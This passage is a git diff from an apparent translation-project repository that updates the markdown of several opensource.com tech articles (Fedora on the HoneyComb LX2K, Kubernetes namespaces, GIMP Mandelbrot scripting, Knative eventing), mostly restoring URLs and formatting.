https://opensource.com/sites/default/files/game_0.png -[11]: http://flathub.org -[12]: https://github.com/ValveSoftware/Proton -[13]: http://winehq.org -[14]: https://opensource.com/business/16/8/flatpak -[15]: https://www.redhat.com/en/enterprise-linux-8 -[16]: http://lutris.net -[17]: https://opensource.com/article/18/10/lutris-open-gaming-platform -[18]: https://ndswtd.wordpress.com/download diff --git a/sources/tech/20210208 Fedora Aarch64 on the SolidRun HoneyComb LX2K.md b/sources/tech/20210208 Fedora Aarch64 on the SolidRun HoneyComb LX2K.md index e060ca66fa..ef95349df3 100644 --- a/sources/tech/20210208 Fedora Aarch64 on the SolidRun HoneyComb LX2K.md +++ b/sources/tech/20210208 Fedora Aarch64 on the SolidRun HoneyComb LX2K.md @@ -42,7 +42,7 @@ nvme_core.default_ps_max_latency_us=0 In the end I upgraded my main workstation so I could repurpose its existing Samsung EVO 960 for the HoneyComb which worked much better. -After some fidgeting I was able to install Fedora but it became apparent that the integrated network ports still don’t work with the mainline kernel. The NXP tech is great but requires a custom kernel build and tooling. Some earlier blogs got around this with a USB->RJ45 Ethernet adapter which works fine. Hopefully network support will be mainlined soon, but for now I snagged a kernel SRPM from the helpful engineers on Discord. With the custom kernel the 1Gbe NIC worked fine, but it turns out the SFP+ ports need more configuration. They won’t be recognized as interfaces until you use NXP’s _restool_ utility to map ports to their usage. In this case just a runtime mapping of _dmap -> dni_ was required. This is NXP’s way of mapping a MAC to a network interface via IOCTL commands. The restool binary isn’t provided either and must be built from source. It then layers on management scripts which use cheeky $arg0 references for redirection to call the restool binary with complex arguments. +After some fidgeting I was able to install Fedora but it became apparent that the integrated network ports still don’t work with the mainline kernel. The NXP tech is great but requires a custom kernel build and tooling. Some earlier blogs got around this with a USB->RJ45 Ethernet adapter which works fine. Hopefully network support will be mainlined soon, but for now I snagged a kernel SRPM from the helpful engineers on Discord. With the custom kernel the 1Gbe NIC worked fine, but it turns out the SFP+ ports need more configuration. They won’t be recognized as interfaces until you use NXP’s _restool_ utility to map ports to their usage. In this case just a runtime mapping of _dmap -> dni_ was required. This is NXP’s way of mapping a MAC to a network interface via IOCTL commands. The restool binary isn’t provided either and must be built from source. It then layers on management scripts which use cheeky $arg0 references for redirection to call the restool binary with complex arguments. Since I was starting to accumulate quite a few custom packages it was apparent that a COPR repo was needed to simplify this for Fedora. If you’re not familiar with COPR I think it’s one of Fedora’s finest resources. This repo contains the uefi build (currently failing build), 5.10.5 kernel built with network support, and the restool binary with supporting scripts. I also added a oneshot systemd unit to enable the SFP+ ports on boot: ``` diff --git a/sources/tech/20210210 Configure multi-tenancy with Kubernetes namespaces.md b/sources/tech/20210210 Configure multi-tenancy with Kubernetes namespaces.md index 5ced955007..5804c35922 100644 --- a/sources/tech/20210210 Configure multi-tenancy with Kubernetes namespaces.md +++ b/sources/tech/20210210 Configure multi-tenancy with Kubernetes namespaces.md @@ -85,8 +85,8 @@ Describe the newly created namespace: ``` [root@master ~]# kubectl describe namespace test Name:         test -Labels:       <none> -Annotations:  <none> +Labels:       +Annotations:   Status:       Active No resource quota. No LimitRange resource. @@ -233,8 +233,8 @@ Verify the Roles: ``` $ kubectl describe roles -n test   Name:         list-deployments -  Labels:       <none> -  Annotations:  <none> +  Labels:       +  Annotations:     PolicyRule:     Resources         Non-Resource URLs  Resource Names  Verbs     ---------         -----------------  --------------  ----- diff --git a/sources/tech/20210210 Draw Mandelbrot fractals with GIMP scripting.md b/sources/tech/20210210 Draw Mandelbrot fractals with GIMP scripting.md index d38f3fb54d..3ff3460421 100644 --- a/sources/tech/20210210 Draw Mandelbrot fractals with GIMP scripting.md +++ b/sources/tech/20210210 Draw Mandelbrot fractals with GIMP scripting.md @@ -1,57 +1,51 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Draw Mandelbrot fractals with GIMP scripting) -[#]: via: (https://opensource.com/article/21/2/gimp-mandelbrot) -[#]: author: (Cristiano L. Fontana https://opensource.com/users/cristianofontana) +[#]: subject: "Draw Mandelbrot fractals with GIMP scripting" +[#]: via: "https://opensource.com/article/21/2/gimp-mandelbrot" +[#]: author: "Cristiano L. Fontana https://opensource.com/users/cristianofontana" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Draw Mandelbrot fractals with GIMP scripting ====== Create complex mathematical images with GIMP's Script-Fu language. + ![Painting art on a computer screen][1] +Image by: Opensource.com + The GNU Image Manipulation Program ([GIMP][2]) is my go-to solution for image editing. Its toolset is very powerful and convenient, except for doing [fractals][3], which is one thing you cannot draw by hand easily. These are fascinating mathematical constructs that have the characteristic of being [self-similar][4]. In other words, if they are magnified in some areas, they will look remarkably similar to the unmagnified picture. Besides being interesting, they also make very pretty pictures! -![Portion of a Mandelbrot fractal using GIMPs Coldfire palette][5] +![Rotated and magnified portion of the Mandelbrot set using Firecode][5] -Portion of a Mandelbrot fractal using GIMP's Coldfire palette (Cristiano Fontana, [CC BY-SA 4.0][6]) +GIMP can be automated with [Script-Fu][6] to do [batch processing of images][7] or create complicated procedures that are not practical to do by hand; drawing fractals falls in the latter category. This tutorial will show how to draw a representation of the [Mandelbrot fractal][8] using GIMP and Script-Fu. -GIMP can be automated with [Script-Fu][7] to do [batch processing of images][8] or create complicated procedures that are not practical to do by hand; drawing fractals falls in the latter category. This tutorial will show how to draw a representation of the [Mandelbrot fractal][9] using GIMP and Script-Fu. +![Mandelbrot set drawn using GIMP's Firecode palette][9] -![Mandelbrot set drawn using GIMP's Firecode palette][10] - -Portion of a Mandelbrot fractal using GIMP's Firecode palette. (Cristiano Fontana, [CC BY-SA 4.0][6]) - -![Rotated and magnified portion of the Mandelbrot set using Firecode.][11] - -Rotated and magnified portion of the Mandelbrot set using the Firecode palette. (Cristiano Fontana, [CC BY-SA 4.0][6]) +![Rotated and magnified portion of the Mandelbrot set using Firecode.][10] In this tutorial, you will write a script that creates a layer in an image and draws a representation of the Mandelbrot set with a colored environment around it. ### What is the Mandelbrot set? -Do not panic! I will not go into too much detail here. For the more math-savvy, the Mandelbrot set is defined as the set of [complex numbers][12] _a_ for which the succession +Do not panic! I will not go into too much detail here. For the more math-savvy, the Mandelbrot set is defined as the set of [complex numbers][11] *a* for which the succession -_zn+1 = zn2 + a_ +zn+1 = zn2 + a -does not diverge when starting from _z₀ = 0_. +does not diverge when starting from *z₀ = 0*. In reality, the Mandelbrot set is the fancy-looking black blob in the pictures; the nice-looking colors are outside the set. They represent how many iterations are required for the magnitude of the succession of numbers to pass a threshold value. In other words, the color scale shows how many steps are required for the succession to pass an upper-limit value. ### GIMP's Script-Fu -[Script-Fu][7] is the scripting language built into GIMP. It is an implementation of the [Scheme programming language][13]. +[Script-Fu][12] is the scripting language built into GIMP. It is an implementation of the [Scheme programming language][13]. -If you want to get more acquainted with Scheme, GIMP's documentation offers an [in-depth tutorial][14]. I also wrote an article about [batch processing images][8] using Script-Fu. Finally, the Help menu offers a Procedure Browser with very extensive documentation with all of Script-Fu's functions described in detail. +If you want to get more acquainted with Scheme, GIMP's documentation offers an [in-depth tutorial][14]. I also wrote an article about [batch processing images][15] using Script-Fu. Finally, the Help menu offers a Procedure Browser with very extensive documentation with all of Script-Fu's functions described in detail. -![GIMP Procedure Browser][15] - -(Cristiano Fontana, [CC BY-SA 4.0][6]) - -Scheme is a Lisp-like language, so a major characteristic is that it uses a [prefix notation][16] and a [lot of parentheses][17]. Functions and operators are applied to a list of operands by prefixing them: +![GIMP Procedure Browser][16] +Scheme is a Lisp-like language, so a major characteristic is that it uses a [prefix notation][17] and a [lot of parentheses][18]. Functions and operators are applied to a list of operands by prefixing them: ``` (function-name operand operand ...) @@ -67,7 +61,6 @@ Scheme is a Lisp-like language, so a major characteristic is that it uses a [pre You can write your first script and save it to the **Scripts** folder found in the preferences window under **Folders → Scripts**. Mine is at `$HOME/.config/GIMP/2.10/scripts`. Write a file called `mandelbrot.scm` with: - ``` ; Complex numbers implementation (define (make-rectangular x y) (cons x y)) @@ -111,17 +104,17 @@ You can write your first script and save it to the **Scripts** folder found in t   (define bytes-per-pixel (car (gimp-drawable-bpp drawable)))   ; Fractal drawing section. -  ; Code from: +  ; Code from: https://rosettacode.org/wiki/Mandelbrot_set#Racket   (define (iterations a z i)     (let ((z′ (add-c (mul-c z z) a))) -       (if (or (= i num-colors) (> (magnitude z′) threshold)) +       (if (or (= i num-colors) (> (magnitude z′) threshold))           i           (iterations a z′ (+ i 1))))) -  (define (iter->color i) -    (if (>= i num-colors) -        (list->vector '(0 0 0)) -        (list->vector (vector-ref colors i)))) +  (define (iter->color i) +    (if (>= i num-colors) +        (list->vector '(0 0 0)) +        (list->vector (vector-ref colors i))))   (define z0 (make-rectangular 0 0)) @@ -130,10 +123,10 @@ You can write your first script and save it to the **Scripts** folder found in t            (real-y (- (* domain-height (/ y height)) offset-y))            (a (make-rectangular real-x real-y))            (i (iterations a z0 0)) -           (color (iter->color i))) -      (cond ((and (< x end-x) (< y end-y)) (gimp-drawable-set-pixel drawable x y bytes-per-pixel color) +           (color (iter->color i))) +      (cond ((and (< x end-x) (< y end-y)) (gimp-drawable-set-pixel drawable x y bytes-per-pixel color)                                            (loop (+ x 1) end-x y end-y)) -            ((and (>= x end-x) (< y end-y)) (gimp-progress-update (/ y end-y)) +            ((and (>= x end-x) (< y end-y)) (gimp-progress-update (/ y end-y))                                             (loop 0 end-x (+ y 1) end-y)))))   (loop 0 width 0 height) @@ -161,15 +154,14 @@ You can write your first script and save it to the **Scripts** folder found in t   SF-ADJUSTMENT "X offset"           '(2.25 -20 20 0.1 1 4 0)   SF-ADJUSTMENT "Y offset"           '(1.50 -20 20 0.1 1 4 0) ) -(script-fu-menu-register "script-fu-mandelbrot" "<Image>/Layer/") +(script-fu-menu-register "script-fu-mandelbrot" "/Layer/") ``` I will go through the script to show you what it does. ### Get ready to draw the fractal -Since this image is all about complex numbers, I wrote a quick and dirty implementation of complex numbers in Script-Fu. I defined the complex numbers as [pairs][18] of real numbers. Then I added the few functions needed for the script. I used [Racket's documentation][19] as inspiration for function names and roles: - +Since this image is all about complex numbers, I wrote a quick and dirty implementation of complex numbers in Script-Fu. I defined the complex numbers as [pairs][19] of real numbers. Then I added the few functions needed for the script. I used [Racket's documentation][20] as inspiration for function names and roles: ``` (define (make-rectangular x y) (cons x y)) @@ -198,7 +190,6 @@ Since this image is all about complex numbers, I wrote a quick and dirty impleme The new function is called `script-fu-mandelbrot`. The best practice for writing a new function is to call it `script-fu-something` so that it can be identified in the Procedure Browser easily. The function requires a few parameters: an `image` to which it will add a layer with the fractal, the `palette-name` identifying the color palette to be used, the `threshold` value to stop the iteration, the `domain-width` and `domain-height` that identify the image boundaries, and the `offset-x` and `offset-y` to center the image to the desired feature. The script also needs some other parameters that it can deduce from the GIMP interface: - ``` (define (script-fu-mandelbrot image palette-name threshold domain-width domain-height offset-x offset-y)   (define num-colors (car (gimp-palette-get-info palette-name))) @@ -212,7 +203,6 @@ The new function is called `script-fu-mandelbrot`. The best practice for writing Then it creates a new layer and identifies it as the script's `drawable`. A "drawable" is the element you want to draw on: - ``` (define new-layer (car (gimp-layer-new image                                        width height @@ -226,27 +216,25 @@ Then it creates a new layer and identifies it as the script's `drawable`. A "dra (define bytes-per-pixel (car (gimp-drawable-bpp drawable))) ``` -For the code determining the pixels' color, I used the [Racket][20] example on the [Rosetta Code][21] website. It is not the most optimized algorithm, but it is simple to understand. Even a non-mathematician like me can understand it. The `iterations` function determines how many steps the succession requires to pass the threshold value. To cap the iterations, I am using the number of colors in the palette. In other words, if the threshold is too high or the succession does not grow, the calculation stops at the `num-colors` value. The `iter->color` function transforms the number of iterations into a color using the provided palette. If the iteration number is equal to `num-colors`, it uses black because this means that the succession is probably bound and that pixel is in the Mandelbrot set: - +For the code determining the pixels' color, I used the [Racket][21] example on the [Rosetta Code][22] website. It is not the most optimized algorithm, but it is simple to understand. Even a non-mathematician like me can understand it. The `iterations` function determines how many steps the succession requires to pass the threshold value. To cap the iterations, I am using the number of colors in the palette. In other words, if the threshold is too high or the succession does not grow, the calculation stops at the `num-colors` value. The `iter->color` function transforms the number of iterations into a color using the provided palette. If the iteration number is equal to `num-colors`, it uses black because this means that the succession is probably bound and that pixel is in the Mandelbrot set: ``` ; Fractal drawing section. -; Code from: +; Code from: https://rosettacode.org/wiki/Mandelbrot_set#Racket (define (iterations a z i)   (let ((z′ (add-c (mul-c z z) a))) -     (if (or (= i num-colors) (> (magnitude z′) threshold)) +     (if (or (= i num-colors) (> (magnitude z′) threshold))         i         (iterations a z′ (+ i 1))))) -(define (iter->color i) -  (if (>= i num-colors) -      (list->vector '(0 0 0)) -      (list->vector (vector-ref colors i)))) +(define (iter->color i) +  (if (>= i num-colors) +      (list->vector '(0 0 0)) +      (list->vector (vector-ref colors i)))) ``` Because I have the feeling that Scheme users do not like to use loops, I implemented the function looping over the pixels as a recursive function. The `loop` function reads the starting coordinates and their upper boundaries. At each pixel, it defines some temporary variables with the `let*` function: `real-x` and `real-y` are the real coordinates of the pixel in the complex plane, according to the parameters; the `a` variable is the starting point for the succession; the `i` is the number of iterations; and finally `color` is the pixel color. Each pixel is colored with the `gimp-drawable-set-pixel` function that is an internal GIMP procedure. The peculiarity is that it is not undoable, and it does not trigger the image to refresh. Therefore, the image will not be updated during the operation. To play nice with the user, at the end of each row of pixels, it calls the `gimp-progress-update` function, which updates a progress bar in the user interface: - ``` (define z0 (make-rectangular 0 0)) @@ -255,17 +243,16 @@ Because I have the feeling that Scheme users do not like to use loops, I impleme          (real-y (- (* domain-height (/ y height)) offset-y))          (a (make-rectangular real-x real-y))          (i (iterations a z0 0)) -         (color (iter->color i))) -    (cond ((and (< x end-x) (< y end-y)) (gimp-drawable-set-pixel drawable x y bytes-per-pixel color) +         (color (iter->color i))) +    (cond ((and (< x end-x) (< y end-y)) (gimp-drawable-set-pixel drawable x y bytes-per-pixel color)                                          (loop (+ x 1) end-x y end-y)) -          ((and (>= x end-x) (< y end-y)) (gimp-progress-update (/ y end-y)) +          ((and (>= x end-x) (< y end-y)) (gimp-progress-update (/ y end-y))                                           (loop 0 end-x (+ y 1) end-y))))) (loop 0 width 0 height) ``` At the calculation's end, the function needs to inform GIMP that it modified the `drawable`, and it should refresh the interface because the image is not "automagically" updated during the script's execution: - ``` (gimp-drawable-update drawable 0 0 width height) (gimp-displays-flush) @@ -275,7 +262,6 @@ At the calculation's end, the function needs to inform GIMP that it modified the To use the `script-fu-mandelbrot` function in the graphical user interface (GUI), the script needs to inform GIMP. The `script-fu-register` function informs GIMP about the parameters required by the script and provides some documentation: - ``` (script-fu-register   "script-fu-mandelbrot"          ; Function name @@ -300,71 +286,69 @@ To use the `script-fu-mandelbrot` function in the graphical user interface (GUI) Then the script tells GIMP to put the new function in the Layer menu with the label "Create a Mandelbrot layer": - ``` -`(script-fu-menu-register "script-fu-mandelbrot" "/Layer/")` +(script-fu-menu-register "script-fu-mandelbrot" "/Layer/") ``` Having registered the function, you can visualize it in the Procedure Browser. -![script-fu-mandelbrot function][22] - -(Cristiano Fontana, [CC BY-SA 4.0][6]) +![script-fu-mandelbrot function][23] ### Run the script Now that the function is ready and registered, you can draw the Mandelbrot fractal! First, create a square image and run the script from the Layers menu. -![script running][23] - -(Cristiano Fontana, [CC BY-SA 4.0][6]) +![script running][24] The default values are a good starting set to obtain the following image. The first time you run the script, create a very small image (e.g., 60x60 pixels) because this implementation is slow! It took several hours for my computer to create the following image in full 1920x1920 pixels. As I mentioned earlier, this is not the most optimized algorithm; rather, it was the easiest for me to understand. -![Mandelbrot set drawn using GIMP's Firecode palette][10] - -Portion of a Mandelbrot fractal using GIMP's Firecode palette. (Cristiano Fontana, [CC BY-SA 4.0][6]) +![Mandelbrot set drawn using GIMP's Firecode palette][25] ### Learn more This tutorial showed how to use GIMP's built-in scripting features to draw an image created with an algorithm. These images show GIMP's powerful set of tools that can be used for artistic applications and mathematical images. -If you want to move forward, I suggest you look at the official documentation and its [tutorial][14]. As an exercise, try modifying this script to draw a [Julia set][24], and please share the resulting image in the comments. +If you want to move forward, I suggest you look at the official documentation and its [tutorial][26]. As an exercise, try modifying this script to draw a [Julia set][27], and please share the resulting image in the comments. + +Image by: Rotated and magnified portion of the Mandelbrot set using Firecode. (Cristiano Fontana, CC BY-SA 4.0) -------------------------------------------------------------------------------- via: https://opensource.com/article/21/2/gimp-mandelbrot 作者:[Cristiano L. Fontana][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/cristianofontana -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/painting_computer_screen_art_design_creative.png?itok=LVAeQx3_ (Painting art on a computer screen) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/painting_computer_screen_art_design_creative.png [2]: https://www.gimp.org/ [3]: https://en.wikipedia.org/wiki/Fractal [4]: https://en.wikipedia.org/wiki/Self-similarity -[5]: https://opensource.com/sites/default/files/uploads/mandelbrot_portion.png (Portion of a Mandelbrot fractal using GIMPs Coldfire palette) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://docs.gimp.org/en/gimp-concepts-script-fu.html -[8]: https://opensource.com/article/21/1/gimp-scripting -[9]: https://en.wikipedia.org/wiki/Mandelbrot_set -[10]: https://opensource.com/sites/default/files/uploads/mandelbrot.png (Mandelbrot set drawn using GIMP's Firecode palette) -[11]: https://opensource.com/sites/default/files/uploads/mandelbrot_portion2.png (Rotated and magnified portion of the Mandelbrot set using Firecode.) -[12]: https://en.wikipedia.org/wiki/Complex_number +[5]: https://opensource.com/sites/default/files/uploads/mandelbrot_portion.png +[6]: https://docs.gimp.org/en/gimp-concepts-script-fu.html +[7]: https://opensource.com/article/21/1/gimp-scripting +[8]: https://en.wikipedia.org/wiki/Mandelbrot_set +[9]: https://opensource.com/sites/default/files/uploads/mandelbrot.png +[10]: https://opensource.com/sites/default/files/uploads/mandelbrot_portion2.png +[11]: https://en.wikipedia.org/wiki/Complex_number +[12]: https://docs.gimp.org/en/gimp-concepts-script-fu.html [13]: https://en.wikipedia.org/wiki/Scheme_(programming_language) [14]: https://docs.gimp.org/en/gimp-using-script-fu-tutorial.html -[15]: https://opensource.com/sites/default/files/uploads/procedure_browser_0.png (GIMP Procedure Browser) -[16]: https://en.wikipedia.org/wiki/Polish_notation -[17]: https://xkcd.com/297/ -[18]: https://www.gnu.org/software/guile/manual/html_node/Pairs.html -[19]: https://docs.racket-lang.org/reference/generic-numbers.html?q=make-rectangular#%28part._.Complex_.Numbers%29 -[20]: https://racket-lang.org/ -[21]: https://rosettacode.org/wiki/Mandelbrot_set#Racket -[22]: https://opensource.com/sites/default/files/uploads/mandelbrot_documentation.png (script-fu-mandelbrot function) -[23]: https://opensource.com/sites/default/files/uploads/script_working.png (script running) -[24]: https://en.wikipedia.org/wiki/Julia_set +[15]: https://opensource.com/article/21/1/gimp-scripting +[16]: https://opensource.com/sites/default/files/uploads/procedure_browser_0.png +[17]: https://en.wikipedia.org/wiki/Polish_notation +[18]: https://xkcd.com/297/ +[19]: https://www.gnu.org/software/guile/manual/html_node/Pairs.html +[20]: https://docs.racket-lang.org/reference/generic-numbers.html?q=make-rectangular#%28part._.Complex_.Numbers%29 +[21]: https://racket-lang.org/ +[22]: https://rosettacode.org/wiki/Mandelbrot_set#Racket +[23]: https://opensource.com/sites/default/files/uploads/mandelbrot_documentation.png +[24]: https://opensource.com/sites/default/files/uploads/script_working.png +[25]: https://opensource.com/sites/default/files/uploads/mandelbrot.png +[26]: https://docs.gimp.org/en/gimp-using-script-fu-tutorial.html +[27]: https://en.wikipedia.org/wiki/Julia_set diff --git a/sources/tech/20210222 A step-by-step guide to Knative eventing.md b/sources/tech/20210222 A step-by-step guide to Knative eventing.md index 9b297879bb..82f90f55c8 100644 --- a/sources/tech/20210222 A step-by-step guide to Knative eventing.md +++ b/sources/tech/20210222 A step-by-step guide to Knative eventing.md @@ -1,18 +1,20 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A step-by-step guide to Knative eventing) -[#]: via: (https://opensource.com/article/21/2/knative-eventing) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) +[#]: subject: "A step-by-step guide to Knative eventing" +[#]: via: "https://opensource.com/article/21/2/knative-eventing" +[#]: author: "Jessica Cherry https://opensource.com/users/cherrybomb" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " A step-by-step guide to Knative eventing ====== -Knative eventing is a way to create, send, and verify events in your -cloud-native environment. +Knative eventing is a way to create, send, and verify events in your cloud-native environment. + ![Computer laptop in space][1] +Image by: Opensource.com + In a previous article, I covered [how to create a small app with Knative][2], which is an open source project that adds components to [Kubernetes][3] for deploying, running, and managing [serverless, cloud-native][4] applications. In this article, I'll explain Knative eventing, a way to create, send, and verify events in your cloud-native environment. Events can be generated from many sources in your environment, and they can be confusing to manage or define. Since Knative follows the [CloudEvents][5] specification, it allows you to have one common abstraction point for your environment, where the events are defined to one specification. @@ -25,7 +27,6 @@ This walkthrough uses [Minikube][7] with Kubernetes 1.19.0. It also makes some c **Minikube pre-configuration commands:** - ``` $ minikube config set kubernetes-version v1.19.0 $ minikube config set memory 4000 @@ -34,7 +35,6 @@ $ minikube config set cpus 4 Before starting Minikube, run the following commands to make sure your configuration stays and start Minikube: - ``` $ minikube delete $ minikube start @@ -44,9 +44,8 @@ $ minikube start Install the Knative eventing custom resource definitions (CRDs) using kubectl. The following shows the command and a snippet of the output: - ``` -$ kubectl apply --filename +$ kubectl apply --filename https://github.com/knative/eventing/releases/download/v0.20.0/eventing-crds.yaml customresourcedefinition.apiextensions.k8s.io/apiserversources.sources.knative.dev created customresourcedefinition.apiextensions.k8s.io/brokers.eventing.knative.dev created @@ -56,9 +55,8 @@ customresourcedefinition.apiextensions.k8s.io/triggers.eventing.knative.dev crea Next, install the core components using kubectl: - ``` -$ kubectl apply --filename +$ kubectl apply --filename https://github.com/knative/eventing/releases/download/v0.20.0/eventing-core.yaml namespace/knative-eventing created serviceaccount/eventing-controller created clusterrolebinding.rbac.authorization.k8s.io/eventing-controller created @@ -66,23 +64,20 @@ clusterrolebinding.rbac.authorization.k8s.io/eventing-controller created Since you're running a standalone version of the Knative eventing service, you must install the in-memory channel to pass events. Using kubectl, run: - ``` -`$ kubectl apply --filename https://github.com/knative/eventing/releases/download/v0.20.0/in-memory-channel.yaml` +$ kubectl apply --filename https://github.com/knative/eventing/releases/download/v0.20.0/in-memory-channel.yaml ``` Install the broker, which utilizes the channels and runs the event routing: - ``` -$ kubectl apply --filename +$ kubectl apply --filename https://github.com/knative/eventing/releases/download/v0.20.0/mt-channel-broker.yaml clusterrole.rbac.authorization.k8s.io/knative-eventing-mt-channel-broker-controller created clusterrole.rbac.authorization.k8s.io/knative-eventing-mt-broker-filter created ``` Next, create a namespace and add a small broker to it; this broker routes events to triggers. Create your namespace using kubectl: - ``` $ kubectl create namespace eventing-test namespace/eventing-test created @@ -90,7 +85,6 @@ namespace/eventing-test created Now create a small broker named `default` in your namespace. The following is the YAML from my **broker.yaml** file (which can be found in my GitHub repository): - ``` apiVersion: eventing.knative.dev/v1 kind: broker @@ -101,7 +95,6 @@ metadata: Then apply your broker file using kubectl: - ``` $ kubectl create -f broker.yaml    broker.eventing.knative.dev/default created @@ -109,11 +102,10 @@ $ kubectl create -f broker.yaml Verify that everything is up and running (you should see the confirmation output) after you run the command: - ``` $ kubectl -n eventing-test get broker default                                                               NAME      URL                                                                              AGE    READY   REASON -default     3m6s   True +default   http://broker-ingress.knative-eventing.svc.cluster.local/eventing-test/default   3m6s   True ``` You'll need this URL from the broker output later for sending events, so save it. @@ -126,7 +118,6 @@ First, you need to create event consumers. You'll create two consumers in this w **The hello-display YAML code:** - ``` apiVersion: apps/v1 kind: Deployment @@ -135,7 +126,7 @@ metadata: spec:   replicas: 1   selector: -    matchLabels: &labels +    matchLabels: &labels       app: hello-display   template:     metadata: @@ -145,7 +136,7 @@ spec:         - name: event-display           image: gcr.io/knative-releases/knative.dev/eventing-contrib/cmd/event_display -\--- +--- kind: Service apiVersion: v1 @@ -162,7 +153,6 @@ spec: **The goodbye-display YAML code:** - ``` apiVersion: apps/v1 kind: Deployment @@ -171,7 +161,7 @@ metadata: spec:   replicas: 1   selector: -    matchLabels: &labels +    matchLabels: &labels       app: goodbye-display   template:     metadata: @@ -179,10 +169,10 @@ spec:     spec:       containers:         - name: event-display -          # Source code: +          # Source code: https://github.com/knative/eventing-contrib/tree/master/cmd/event_display           image: gcr.io/knative-releases/knative.dev/eventing-contrib/cmd/event_display -\--- +--- kind: Service apiVersion: v1 @@ -199,7 +189,6 @@ spec: The differences in the YAML between the two consumers are in the `app` and `metadata name` sections. While both consumers are on the same ports, you can target one when generating an event. Create the consumers using kubectl: - ``` $ kubectl -n eventing-test apply -f hello-display.yaml deployment.apps/hello-display created @@ -212,7 +201,6 @@ service/goodbye-display created Check to make sure the deployments are running after you've applied the YAML files: - ``` $ kubectl -n eventing-test get deployments hello-display goodbye-display NAME              READY   UP-TO-DATE   AVAILABLE   AGE @@ -226,7 +214,6 @@ Now, you need to create the triggers, which define the events the consumer recei **The greeting-trigger.yaml code:** - ``` apiVersion: eventing.knative.dev/v1 kind: Trigger @@ -246,7 +233,6 @@ spec: To create the first trigger, apply your YAML file: - ``` $ kubectl -n eventing-test apply -f greeting-trigger.yaml trigger.eventing.knative.dev/hello-display created @@ -256,7 +242,6 @@ Next, make the second trigger using **sendoff-trigger.yaml**. This sends anythin **The sendoff-trigger.yaml code:** - ``` apiVersion: eventing.knative.dev/v1 kind: Trigger @@ -276,7 +261,6 @@ spec: Next, apply your second trigger definition to the cluster: - ``` $ kubectl -n eventing-test apply -f sendoff-trigger.yaml trigger.eventing.knative.dev/goodbye-display created @@ -284,19 +268,17 @@ trigger.eventing.knative.dev/goodbye-display created Confirm everything is correctly in place by getting your triggers from the cluster using kubectl: - ``` $ kubectl -n eventing-test get triggers -NAME              BROKER    SUBSCRIBER_URI                                            AGE   READY   -goodbye-display   default     24s   True     -hello-display     default       46s   True +NAME              BROKER    SUBSCRIBER_URI                                            AGE   READY   +goodbye-display   default   http://goodbye-display.eventing-test.svc.cluster.local/   24s   True     +hello-display     default   http://hello-display.eventing-test.svc.cluster.local/     46s   True ``` ### Create an event producer Create a pod you can use to send events. This is a simple pod deployment with curl and SSH access for you to [send events using curl][8]. Because the broker can be accessed only from inside the cluster where Knative eventing is installed, the pod needs to be in the cluster; this is the only way to send events into the cluster. Use the **event-producer.yaml** file with this code: - ``` apiVersion: v1 kind: Pod @@ -318,7 +300,6 @@ spec: Next, deploy the pod by using kubectl: - ``` $ kubectl -n eventing-test apply -f event-producer.yaml pod/curl created @@ -326,7 +307,6 @@ pod/curl created To verify, get the deployment and make sure the pod is up and running: - ``` $ kubectl get pods -n eventing-test NAME                               READY   STATUS    RESTARTS   AGE @@ -339,14 +319,12 @@ Since this article has been so configuration-heavy, I imagine you'll be happy to Begin by logging into the pod: - ``` -`$ kubectl -n eventing-test attach curl -it` +$ kubectl -n eventing-test attach curl -it ``` Once logged in, you'll see output similar to: - ``` Defaulting container name to curl. Use 'kubectl describe pod/curl -n eventing-test' to see all of the containers in this pod. @@ -356,9 +334,8 @@ If you don't see a command prompt, try pressing enter. Now, generate an event using curl. This needs some extra definitions and requires the broker URL generated during the installation. This example sends a greeting to the broker: - ``` -curl -v "" \ +curl -v "http://broker-ingress.knative-eventing.svc.cluster.local/eventing-test/default" \   -X POST \   -H "Ce-Id: say-hello" \   -H "Ce-Specversion: 1.0" \ @@ -372,31 +349,29 @@ curl -v " POST /eventing-test/default HTTP/1.1 +> User-Agent: curl/7.35.0 +> Host: broker-ingress.knative-eventing.svc.cluster.local +> Accept: */* +> Ce-Id: say-hello +> Ce-Specversion: 1.0 +> Ce-Type: greeting +> Ce-Source: not-sendoff +> Content-Type: application/json +> Content-Length: 24 +> +< HTTP/1.1 202 Accepted +< Date: Sun, 24 Jan 2021 22:25:25 GMT +< Content-Length: 0 ``` The 202 means the trigger sent it to the **hello-display** consumer (because of the definition.) Next, send a second definition to the **goodbye-display** consumer with this new curl command: - ``` -curl -v "" \ +curl -v "http://broker-ingress.knative-eventing.svc.cluster.local/eventing-test/default" \   -X POST \   -H "Ce-Id: say-goodbye" \   -H "Ce-Specversion: 1.0" \ @@ -410,22 +385,21 @@ This time, it is a `sendoff` and not a greeting based on the previous setup sect Your output should look like this, with another 202 returned: - ``` -> POST /eventing-test/default HTTP/1.1 -> User-Agent: curl/7.35.0 -> Host: broker-ingress.knative-eventing.svc.cluster.local -> Accept: */* -> Ce-Id: say-goodbye -> Ce-Specversion: 1.0 -> Ce-Type: not-greeting -> Ce-Source: sendoff -> Content-Type: application/json -> Content-Length: 26 -> -< HTTP/1.1 202 Accepted -< Date: Sun, 24 Jan 2021 22:33:00 GMT -< Content-Length: 0 +> POST /eventing-test/default HTTP/1.1 +> User-Agent: curl/7.35.0 +> Host: broker-ingress.knative-eventing.svc.cluster.local +> Accept: */* +> Ce-Id: say-goodbye +> Ce-Specversion: 1.0 +> Ce-Type: not-greeting +> Ce-Source: sendoff +> Content-Type: application/json +> Content-Length: 26 +> +< HTTP/1.1 202 Accepted +< Date: Sun, 24 Jan 2021 22:33:00 GMT +< 